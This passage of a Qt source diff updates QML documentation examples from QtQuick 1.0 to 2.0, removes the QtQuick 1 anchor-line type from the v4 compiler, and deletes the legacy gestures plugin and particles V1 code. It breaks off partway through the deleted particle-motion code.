-84,7 +84,7 @@ QDeclarativeContextPrivate::QDeclarativeContextPrivate() context->setContextProperty("myModel", &modelData); QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nListView { model: myModel }", QUrl()); + component.setData("import QtQuick 2.0\nListView { model: myModel }", QUrl()); QObject *window = component.create(context); \endcode @@ -116,7 +116,7 @@ QDeclarativeContextPrivate::QDeclarativeContextPrivate() context->setContextObject(&myDataSet); QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nListView { model: myModel }", QUrl()); + component.setData("import QtQuick 2.0\nListView { model: myModel }", QUrl()); component.create(context); \endcode diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e02cdee45d..6097fd437f 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -137,7 +137,7 @@ void qmlRegisterBaseTypes(const char *uri, int versionMajor, int versionMinor) \qml // MyRect.qml - import QtQuick 1.0 + import QtQuick 2.0 Item { width: 200; height: 200 @@ -197,7 +197,7 @@ It is not instantiable; to use it, call the members of the global \c Qt object d For example: \qml -import QtQuick 1.0 +import QtQuick 2.0 Text { color: Qt.rgba(1, 0, 0, 1) @@ -484,7 +484,7 @@ QDeclarativeWorkerScriptEngine *QDeclarativeEnginePrivate::getWorkerScriptEngine \code QDeclarativeEngine engine; QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nText { text: \"Hello world!\" }", QUrl()); + component.setData("import QtQuick 2.0\nText { text: \"Hello world!\" }", QUrl()); QDeclarativeItem *item = qobject_cast(component.create()); //add item to view, etc diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp index 25d85f407b..94ed7b7296 100644 --- a/src/declarative/qml/qdeclarativeexpression.cpp +++ b/src/declarative/qml/qdeclarativeexpression.cpp @@ -173,7 +173,7 @@ QDeclarativeExpression *QDeclarativeExpressionPrivate::create(QDeclarativeContex For example, given a file \c main.qml like this: \qml - import QtQuick 1.0 + import QtQuick 2.0 Item { width: 200; height: 200 diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp index fdb14c5e28..a679ead8d4 100644 --- a/src/declarative/qml/qdeclarativeproperty.cpp +++ b/src/declarative/qml/qdeclarativeproperty.cpp @@ -88,7 +88,7 @@ For example, for the following QML code: \qml // MyItem.qml -import QtQuick 1.0 +import QtQuick 2.0 Text { text: "A bit of text" } \endqml diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index ee1f8bcd21..c008e2a28a 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -436,7 +436,7 @@ QObject *QDeclarativeVME::run(QList *errors, // A component that is logically created within another component instance shares the // same instances of script imports. For example: // - // import QtQuick 1.0 + // import QtQuick 2.0 // import "test.js" as Test // ListView { // model: Test.getModel() diff --git a/src/declarative/qml/v4/qv4bindings.cpp b/src/declarative/qml/v4/qv4bindings.cpp index a1f4593c2e..eed4efc87b 100644 --- a/src/declarative/qml/v4/qv4bindings.cpp +++ b/src/declarative/qml/v4/qv4bindings.cpp @@ -453,12 +453,7 @@ static bool testCompareVariants(const QVariant &qtscriptRaw, const QVariant &v4) int type = qtscript.userType(); - if (type == qMetaTypeId()) { - QDeclarative1AnchorLine la = qvariant_cast(qtscript); - QDeclarative1AnchorLine ra = qvariant_cast(v4); - - return la == ra; - } else if (type == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { + if (type == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { return QDeclarativeMetaType::QQuickAnchorLineCompare(qtscript.constData(), v4.constData()); } else if (type == QMetaType::Double) { @@ -538,9 +533,7 @@ static void testBindingResult(const QString &binding, int line, int column, v4value = result.getqreal(); break; default: - if (resultType == qMetaTypeId()) { - v4value = qVariantFromValue(*(QDeclarative1AnchorLine *)result.typeDataPtr()); - } else if (resultType == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { + if (resultType == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { v4value = QVariant(QDeclarativeMetaType::QQuickAnchorLineMetaTypeId(), result.typeDataPtr()); } else { iserror = true; diff --git a/src/declarative/qml/v4/qv4compiler.cpp b/src/declarative/qml/v4/qv4compiler.cpp index 0d29872f4c..42e56d12c9 100644 --- a/src/declarative/qml/v4/qv4compiler.cpp +++ b/src/declarative/qml/v4/qv4compiler.cpp @@ -345,9 +345,7 @@ void QV4CompilerPrivate::visitName(IR::Name *e) break; default: - if (propTy == qMetaTypeId()) { - regType = PODValueType; - } else if (propTy == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { + if (propTy == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { regType = PODValueType; } else if (QDeclarativeMetaType::isQObject(propTy)) { regType = QObjectStarType; @@ -990,9 +988,6 @@ void QV4CompilerPrivate::visitRet(IR::Ret *s) case IR::UrlType: test.regType = QMetaType::QUrl; break; - case IR::AnchorLineType: - test.regType = qMetaTypeId(); - break; case IR::SGAnchorLineType: test.regType = QDeclarativeMetaType::QQuickAnchorLineMetaTypeId(); break; diff --git a/src/declarative/qml/v4/qv4compiler_p_p.h b/src/declarative/qml/v4/qv4compiler_p_p.h index b9e4976eb8..85a7c36f87 100644 --- a/src/declarative/qml/v4/qv4compiler_p_p.h +++ b/src/declarative/qml/v4/qv4compiler_p_p.h @@ -63,36 +63,6 @@ QT_BEGIN_HEADER QT_BEGIN_NAMESPACE -// NOTE: This is a copy of QDeclarative1AnchorLine: src/qtquick1/graphicsitems/qdeclarativeanchors_p_p.h -class QGraphicsObject; -class QDeclarative1AnchorLine -{ -public: - QDeclarative1AnchorLine() : item(0), anchorLine(Invalid) {} - - enum AnchorLine { - Invalid = 0x0, - Left = 0x01, - Right = 0x02, - Top = 0x04, - Bottom = 0x08, - HCenter = 0x10, - VCenter = 0x20, - Baseline = 0x40, - Horizontal_Mask = Left | Right | HCenter, - Vertical_Mask = Top | Bottom | VCenter | Baseline - }; - - QGraphicsObject *item; - AnchorLine anchorLine; -}; - -inline bool operator==(const QDeclarative1AnchorLine& a, const QDeclarative1AnchorLine& b) -{ - return a.item == b.item && a.anchorLine == b.anchorLine; -} - - template class QDeclarativeAssociationList { @@ -269,8 +239,6 @@ class QV4CompilerPrivate: protected QDeclarativeJS::IR::ExprVisitor, QT_END_NAMESPACE -Q_DECLARE_METATYPE(QDeclarative1AnchorLine) - QT_END_HEADER #endif // QV4COMPILER_P_P_H diff --git a/src/declarative/qml/v4/qv4ir.cpp b/src/declarative/qml/v4/qv4ir.cpp index 83acd05a0f..149479d757 100644 --- a/src/declarative/qml/v4/qv4ir.cpp +++ b/src/declarative/qml/v4/qv4ir.cpp @@ -59,7 +59,6 @@ inline const char *typeName(Type t) case VoidType: return "void"; case StringType: return "string"; case UrlType: return "url"; - case AnchorLineType: return "AnchorLine"; case SGAnchorLineType: return "SGAnchorLine"; case AttachType: return "AttachType"; case ObjectType: return "object"; diff --git a/src/declarative/qml/v4/qv4ir_p.h b/src/declarative/qml/v4/qv4ir_p.h index e57b29da79..2ed403fc29 100644 --- a/src/declarative/qml/v4/qv4ir_p.h +++ b/src/declarative/qml/v4/qv4ir_p.h @@ -142,7 +142,6 @@ enum Type { VoidType, StringType, UrlType, - AnchorLineType, SGAnchorLineType, AttachType, ObjectType, diff --git a/src/declarative/qml/v4/qv4irbuilder.cpp b/src/declarative/qml/v4/qv4irbuilder.cpp index 35b36ae114..2cc1c6eaab 100644 --- a/src/declarative/qml/v4/qv4irbuilder.cpp +++ b/src/declarative/qml/v4/qv4irbuilder.cpp @@ -70,11 +70,9 @@ static IR::Type irTypeFromVariantType(int t, QDeclarativeEnginePrivate *engine, return IR::UrlType; default: - if (t == qMetaTypeId()) - return IR::AnchorLineType; - else if (t == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) + if (t == QDeclarativeMetaType::QQuickAnchorLineMetaTypeId()) { return IR::SGAnchorLineType; - else if (engine->metaObjectForType(t)) { + } else if (engine->metaObjectForType(t)) { return IR::ObjectType; } diff --git a/src/imports/gestures/gestures.pro b/src/imports/gestures/gestures.pro deleted file mode 100644 index 36244a1d71..0000000000 --- a/src/imports/gestures/gestures.pro +++ /dev/null @@ -1,16 +0,0 @@ -TARGET = qmlgesturesplugin -TARGETPATH = Qt/labs/gestures -include(../qimportbase.pri) - -QT += core-private gui-private declarative-private qtquick1 qtquick1-private widgets-private v8-private - -SOURCES += qdeclarativegesturearea.cpp plugin.cpp -HEADERS += qdeclarativegesturearea_p.h - -DESTDIR = $$QT.declarative.imports/$$TARGETPATH -target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -qmldir.files += $$PWD/qmldir -qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH - -INSTALLS += target qmldir diff --git a/src/imports/gestures/plugin.cpp b/src/imports/gestures/plugin.cpp deleted file mode 100644 index 83ac3d66dc..0000000000 --- a/src/imports/gestures/plugin.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the plugins of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include - -#include "qdeclarativegesturearea_p.h" - -QT_BEGIN_NAMESPACE - -class GestureAreaQmlPlugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - virtual void registerTypes(const char *uri) - { - Q_ASSERT(QLatin1String(uri) == QLatin1String("Qt.labs.gestures")); -#ifndef QT_NO_GESTURES - qmlRegisterCustomType(uri,1,0, "GestureArea", new QDeclarativeGestureAreaParser); - - qmlRegisterUncreatableType(uri, 1, 0, "Gesture", QLatin1String("Do not create objects of this type.")); - qmlRegisterUncreatableType(uri, 1, 0, "PanGesture", QLatin1String("Do not create objects of this type.")); - qmlRegisterUncreatableType(uri, 1, 0, "TapGesture", QLatin1String("Do not create objects of this type.")); - qmlRegisterUncreatableType(uri, 1, 0, "TapAndHoldGesture", QLatin1String("Do not create objects of this type.")); - qmlRegisterUncreatableType(uri, 1, 0, "PinchGesture", QLatin1String("Do not create objects of this type.")); - qmlRegisterUncreatableType(uri, 1, 0, "SwipeGesture", QLatin1String("Do not create objects of this type.")); -#endif - } -}; - -QT_END_NAMESPACE - -#include "plugin.moc" - -Q_EXPORT_PLUGIN2(qmlgesturesplugin, QT_PREPEND_NAMESPACE(GestureAreaQmlPlugin)); diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp deleted file mode 100644 index 8a23ef1e77..0000000000 --- a/src/imports/gestures/qdeclarativegesturearea.cpp +++ /dev/null @@ -1,283 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativegesturearea_p.h" - -#include -#include -#include - -#include -#include -#include - -#include -#include - -#include - -#include - -#ifndef QT_NO_GESTURES - -QT_BEGIN_NAMESPACE - -class QDeclarativeGestureAreaPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeGestureArea) -public: - QDeclarativeGestureAreaPrivate() : componentcomplete(false), gesture(0) {} - - typedef QMap Bindings; - Bindings bindings; - - bool componentcomplete; - - QByteArray data; - - QGesture *gesture; - - bool gestureEvent(QGestureEvent *event); -}; - -/*! - \qmlclass GestureArea QDeclarativeGestureArea - \ingroup qml-basic-interaction-elements - - \brief The GestureArea item enables simple gesture handling. - \inherits Item - - A GestureArea is like a MouseArea, but it has signals for gesture events. - - \warning Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions. - - \warning GestureArea is an experimental element whose development has - been discontinued. PinchArea is available in QtQuick 1.1 and handles - two finger gesture input. - - \note This element is only functional on devices with touch input. - - \qml - import Qt.labs.gestures 1.0 - - GestureArea { - anchors.fill: parent - // onPan: ... gesture.acceleration ... - // onPinch: ... gesture.rotationAngle ... - // onSwipe: ... - // onTapAndHold: ... - // onTap: ... - // onGesture: ... - } - \endqml - - Each signal has a \e gesture parameter that has the - properties of the gesture. - - \table - \header \o Signal \o Type \o Property \o Description - \row \o onTap \o point \o position \o the position of the tap - \row \o onTapAndHold \o point \o position \o the position of the tap - \row \o onPan \o real \o acceleration \o the acceleration of the pan - \row \o onPan \o point \o delta \o the offset from the previous input position to the current input - \row \o onPan \o point \o offset \o the total offset from the first input position to the current input position - \row \o onPan \o point \o lastOffset \o the previous value of offset - \row \o onPinch \o point \o centerPoint \o the midpoint between the two input points - \row \o onPinch \o point \o lastCenterPoint \o the previous value of centerPoint - \row \o onPinch \o point \o startCenterPoint \o the first value of centerPoint - \row \o onPinch \o real \o rotationAngle \o the angle covered by the gesture motion - \row \o onPinch \o real \o lastRotationAngle \o the previous value of rotationAngle - \row \o onPinch \o real \o totalRotationAngle \o the complete angle covered by the gesture - \row \o onPinch \o real \o scaleFactor \o the change in distance between the two input points - \row \o onPinch \o real \o lastScaleFactor \o the previous value of scaleFactor - \row \o onPinch \o real \o totalScaleFactor \o the complete scale factor of the gesture - \row \o onSwipe \o real \o swipeAngle \o the angle of the swipe - \endtable - - Custom gestures, handled by onGesture, will have custom properties. - - GestureArea is an invisible item: it is never painted. - - \sa MouseArea -*/ - -/*! - \internal - \class QDeclarativeGestureArea - \brief The QDeclarativeGestureArea class provides simple gesture handling. - -*/ -QDeclarativeGestureArea::QDeclarativeGestureArea(QDeclarativeItem *parent) : - QDeclarativeItem(*(new QDeclarativeGestureAreaPrivate), parent) -{ - setAcceptedMouseButtons(Qt::LeftButton); - setAcceptTouchEvents(true); -} - -QDeclarativeGestureArea::~QDeclarativeGestureArea() -{ -} - -QByteArray -QDeclarativeGestureAreaParser::compile(const QList &props) -{ - QByteArray rv; - QDataStream ds(&rv, QIODevice::WriteOnly); - - for(int ii = 0; ii < props.count(); ++ii) - { - QString propName = props.at(ii).name(); - Qt::GestureType type; - - if (propName == QLatin1String("onTap")) { - type = Qt::TapGesture; - } else if (propName == QLatin1String("onTapAndHold")) { - type = Qt::TapAndHoldGesture; - } else if (propName == QLatin1String("onPan")) { - type = Qt::PanGesture; - } else if (propName == QLatin1String("onPinch")) { - type = Qt::PinchGesture; - } else if (propName == QLatin1String("onSwipe")) { - type = Qt::SwipeGesture; - } else if (propName == QLatin1String("onGesture")) { - type = Qt::CustomGesture; - } else { - error(props.at(ii), QDeclarativeGestureArea::tr("Cannot assign to non-existent property \"%1\"").arg(propName)); - return QByteArray(); - } - - QList values = props.at(ii).assignedValues(); - - for (int i = 0; i < values.count(); ++i) { - const QVariant &value = values.at(i); - - if (value.userType() == qMetaTypeId()) { - error(props.at(ii), QDeclarativeGestureArea::tr("GestureArea: nested objects not allowed")); - return QByteArray(); - } else if (value.userType() == qMetaTypeId()) { - error(props.at(ii), QDeclarativeGestureArea::tr("GestureArea: syntax error")); - return QByteArray(); - } else { - QDeclarativeScript::Variant v = qvariant_cast(value); - if (v.isScript()) { - ds << propName; - ds << int(type); - ds << v.asScript(); - } else { - error(props.at(ii), QDeclarativeGestureArea::tr("GestureArea: script expected")); - return QByteArray(); - } - } - } - } - - return rv; -} - -void QDeclarativeGestureAreaParser::setCustomData(QObject *object, - const QByteArray &data) -{ - QDeclarativeGestureArea *ga = static_cast(object); - ga->d_func()->data = data; -} - - -void QDeclarativeGestureArea::connectSignals() -{ - Q_D(QDeclarativeGestureArea); - if (!d->componentcomplete) - return; - - QDataStream ds(d->data); - while (!ds.atEnd()) { - QString propName; - ds >> propName; - int gesturetype; - ds >> gesturetype; - QString script; - ds >> script; - QDeclarativeExpression *exp = new QDeclarativeExpression(qmlContext(this), this, script); - d->bindings.insert(Qt::GestureType(gesturetype),exp); - grabGesture(Qt::GestureType(gesturetype)); - } -} - -void QDeclarativeGestureArea::componentComplete() -{ - QDeclarativeItem::componentComplete(); - Q_D(QDeclarativeGestureArea); - d->componentcomplete=true; - connectSignals(); -} - -QGesture *QDeclarativeGestureArea::gesture() const -{ - Q_D(const QDeclarativeGestureArea); - return d->gesture; -} - -bool QDeclarativeGestureArea::sceneEvent(QEvent *event) -{ - Q_D(QDeclarativeGestureArea); - if (event->type() == QEvent::Gesture) - return d->gestureEvent(static_cast(event)); - return QDeclarativeItem::sceneEvent(event); -} - -bool QDeclarativeGestureAreaPrivate::gestureEvent(QGestureEvent *event) -{ - bool accept = true; - for (Bindings::Iterator it = bindings.begin(); it != bindings.end(); ++it) { - if ((gesture = event->gesture(it.key()))) { - QDeclarativeExpression *expr = it.value(); - expr->evaluate(); - if (expr->hasError()) - qmlInfo(q_func()) << expr->error(); - event->setAccepted(true); // XXX only if value returns true? - } - } - return accept; -} - -QT_END_NAMESPACE - -#endif // QT_NO_GESTURES diff --git a/src/imports/gestures/qdeclarativegesturearea_p.h b/src/imports/gestures/qdeclarativegesturearea_p.h deleted file mode 100644 index 969997d702..0000000000 --- a/src/imports/gestures/qdeclarativegesturearea_p.h +++ /dev/null @@ -1,103 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEGESTUREAREA_H -#define QDECLARATIVEGESTUREAREA_H - -#include -#include -#include - -#include -#include -#include - -#ifndef QT_NO_GESTURES - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarativeBoundSignal; -class QDeclarativeContext; -class QDeclarativeGestureAreaPrivate; -class QDeclarativeGestureArea : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(QGesture *gesture READ gesture) - -public: - QDeclarativeGestureArea(QDeclarativeItem *parent=0); - ~QDeclarativeGestureArea(); - - QGesture *gesture() const; - -protected: - bool sceneEvent(QEvent *event); - -private: - void connectSignals(); - void componentComplete(); - friend class QDeclarativeGestureAreaParser; - - Q_DISABLE_COPY(QDeclarativeGestureArea) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeGestureArea) -}; - -class QDeclarativeGestureAreaParser : public QDeclarativeCustomParser -{ -public: - virtual QByteArray compile(const QList &); - virtual void setCustomData(QObject *, const QByteArray &); -}; - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarativeGestureArea) - -QT_END_HEADER - -#endif // QT_NO_GESTURES - -#endif diff --git a/src/imports/gestures/qmldir b/src/imports/gestures/qmldir deleted file mode 100644 index 2a31920a40..0000000000 --- a/src/imports/gestures/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin qmlgesturesplugin diff --git a/src/imports/imports.pro b/src/imports/imports.pro index ea8e78d01e..241ea18081 100644 --- a/src/imports/imports.pro +++ b/src/imports/imports.pro @@ -1,5 +1,5 @@ TEMPLATE = subdirs -SUBDIRS += qtquick2 qtquick1 qt47 folderlistmodel particles gestures etcprovider localstorage +SUBDIRS += qtquick2 folderlistmodel etcprovider localstorage contains(QT_CONFIG, qmltest): SUBDIRS += testlib -contains(QT_CONFIG, xmlpatterns) : SUBDIRS += xmllistmodel \ No newline at end of file +contains(QT_CONFIG, xmlpatterns) : SUBDIRS += xmllistmodel diff --git a/src/imports/particles/V1/qdeclarativeparticles.cpp b/src/imports/particles/V1/qdeclarativeparticles.cpp deleted file mode 100644 index 88cb5941e7..0000000000 --- a/src/imports/particles/V1/qdeclarativeparticles.cpp +++ /dev/null @@ -1,1296 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativeparticles_p.h" - -#include -#include - -#include -#include - -#include -#include -#include - -#include -#include - -#ifndef M_PI -#define M_PI 3.14159265358979323846 -#define M_PI_2 (M_PI / 2.) -#endif -#ifndef INT_MAX -#define INT_MAX 2147483647 -#endif - -QT_BEGIN_NAMESPACE -#define PI_SQR 9.8696044 -// parabolic approximation -inline qreal fastSin(qreal theta) -{ - const qreal b = 4 / M_PI; - const qreal c = -4 / PI_SQR; - - qreal y = b * theta + c * theta * qAbs(theta); - return y; -} - -inline qreal fastCos(qreal theta) -{ - theta += M_PI_2; - if (theta > M_PI) - theta -= 2 * M_PI; - - return fastSin(theta); -} - -class QDeclarativeParticle -{ -public: - QDeclarativeParticle(int time) : lifeSpan(1000), fadeOutAge(800) - , opacity(0), birthTime(time), x_velocity(0), y_velocity(0) - , state(FadeIn), data(0) - { - } - - int lifeSpan; - int fadeOutAge; - qreal x; - qreal y; - qreal opacity; - int birthTime; - qreal x_velocity; - qreal y_velocity; - enum State { FadeIn, Solid, FadeOut }; - State state; - void *data; -}; - -//--------------------------------------------------------------------------- - -/*! - \class QDeclarativeParticleMotion - \ingroup group_effects - \brief The QDeclarativeParticleMotion class is the base class for particle motion. - \internal - - This class causes the particles to remain static. -*/ - -/*! - Constructs a QDeclarativeParticleMotion with parent object \a parent. -*/ -QDeclarativeParticleMotion::QDeclarativeParticleMotion(QObject *parent) : - QObject(parent) -{ -} - -/*! - Move the \a particle to its new position. \a interval is the number of - milliseconds elapsed since it was last moved. -*/ -void QDeclarativeParticleMotion::advance(QDeclarativeParticle &particle, int interval) -{ - Q_UNUSED(particle); - Q_UNUSED(interval); -} - -/*! - The \a particle has just been created. Some motion strategies require - additional state information. This can be allocated by this function. -*/ -void QDeclarativeParticleMotion::created(QDeclarativeParticle &particle) -{ - Q_UNUSED(particle); -} - -/*! - The \a particle is about to be destroyed. Any additional memory - that has been allocated for the particle should be freed. -*/ -void QDeclarativeParticleMotion::destroy(QDeclarativeParticle &particle) -{ - Q_UNUSED(particle); -} - -/*! - \qmlclass ParticleMotionLinear QDeclarativeParticleMotionLinear - \ingroup qml-particle-elements - \since 4.7 - \brief The ParticleMotionLinear object moves particles linearly. - - \sa Particles - - This is the default motion, and moves the particles according to the - properties specified in the Particles element. - - It has no further properties. -*/ -void QDeclarativeParticleMotionLinear::advance(QDeclarativeParticle &p, int interval) -{ - p.x += interval * p.x_velocity; - p.y += interval * p.y_velocity; -} - -/*! - \qmlclass ParticleMotionGravity QDeclarativeParticleMotionGravity - \ingroup qml-particle-elements - \since 4.7 - \brief The ParticleMotionGravity object moves particles towards a point. - - This motion attracts the particles to the specified point with the specified acceleration. - To mimic earth gravity, set yattractor to -6360000 and acceleration to 9.8. - - The defaults are all 0, not earth gravity, and so no motion will occur without setting - at least the acceleration property. - - - \sa Particles -*/ - -/*! - \qmlproperty real ParticleMotionGravity::xattractor - \qmlproperty real ParticleMotionGravity::yattractor - These properties hold the x and y coordinates of the point attracting the particles. -*/ - -/*! - \qmlproperty real ParticleMotionGravity::acceleration - This property holds the acceleration to apply to the particles. -*/ - -/*! - \property QDeclarativeParticleMotionGravity::xattractor - \brief the x coordinate of the point attracting the particles. -*/ - -/*! - \property QDeclarativeParticleMotionGravity::yattractor - \brief the y coordinate of the point attracting the particles. -*/ - -/*! - \property QDeclarativeParticleMotionGravity::acceleration - \brief the acceleration to apply to the particles. -*/ - -void QDeclarativeParticleMotionGravity::setXAttractor(qreal x) -{ - if (qFuzzyCompare(x, _xAttr)) - return; - _xAttr = x; - emit xattractorChanged(); -} - -void QDeclarativeParticleMotionGravity::setYAttractor(qreal y) -{ - if (qFuzzyCompare(y, _yAttr)) - return; - _yAttr = y; - emit yattractorChanged(); -} - -void QDeclarativeParticleMotionGravity::setAcceleration(qreal accel) -{ - qreal scaledAccel = accel/1000000.0; - if (qFuzzyCompare(scaledAccel, _accel)) - return; - _accel = scaledAccel; - emit accelerationChanged(); -} - -void QDeclarativeParticleMotionGravity::advance(QDeclarativeParticle &p, int interval) -{ - qreal xdiff = _xAttr - p.x; - qreal ydiff = _yAttr - p.y; - qreal absXdiff = qAbs(xdiff); - qreal absYdiff = qAbs(ydiff); - - qreal xcomp = xdiff / (absXdiff + absYdiff); - qreal ycomp = ydiff / (absXdiff + absYdiff); - - p.x_velocity += xcomp * _accel * interval; - p.y_velocity += ycomp * _accel * interval; - - p.x += interval * p.x_velocity; - p.y += interval * p.y_velocity; -} - -/*! - \qmlclass ParticleMotionWander QDeclarativeParticleMotionWander - \ingroup qml-particle-elements - \since 4.7 - \brief The ParticleMotionWander object moves particles in a somewhat random fashion. - - The particles will continue roughly in the original direction, however will randomly - drift to each side. - - The code below produces an effect similar to falling snow. - - \qml -Rectangle { - width: 240 - height: 320 - color: "black" - - Particles { - y: 0 - width: parent.width - height: 30 - source: "star.png" - lifeSpan: 5000 - count: 50 - angle: 70 - angleDeviation: 36 - velocity: 30 - velocityDeviation: 10 - ParticleMotionWander { - xvariance: 30 - pace: 100 - } - } -} - \endqml - - \sa Particles -*/ - -/*! - \qmlproperty real ParticleMotionWander::xvariance - \qmlproperty real ParticleMotionWander::yvariance - - These properties set the amount to wander in the x and y directions. -*/ - -/*! - \qmlproperty real ParticleMotionWander::pace - This property holds how quickly the paricles will move from side to side. -*/ - -void QDeclarativeParticleMotionWander::advance(QDeclarativeParticle &p, int interval) -{ - if (!particles) - particles = qobject_cast(parent()); - if (particles) { - Data *d = (Data*)p.data; - if (_xvariance != 0.) { - qreal xdiff = p.x_velocity - d->x_targetV; - if ((xdiff > d->x_peak && d->x_var > 0.0) || (xdiff < -d->x_peak && d->x_var < 0.0)) { - d->x_var = -d->x_var; - d->x_peak = _xvariance + _xvariance * qreal(qrand()) / RAND_MAX; - } - p.x_velocity += d->x_var * interval; - } - p.x += interval * p.x_velocity; - - 